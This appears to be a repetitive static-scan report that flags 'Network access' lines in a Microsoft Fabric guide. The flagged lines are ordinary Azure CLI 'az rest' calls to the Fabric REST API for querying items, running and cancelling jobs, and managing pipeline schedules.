or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
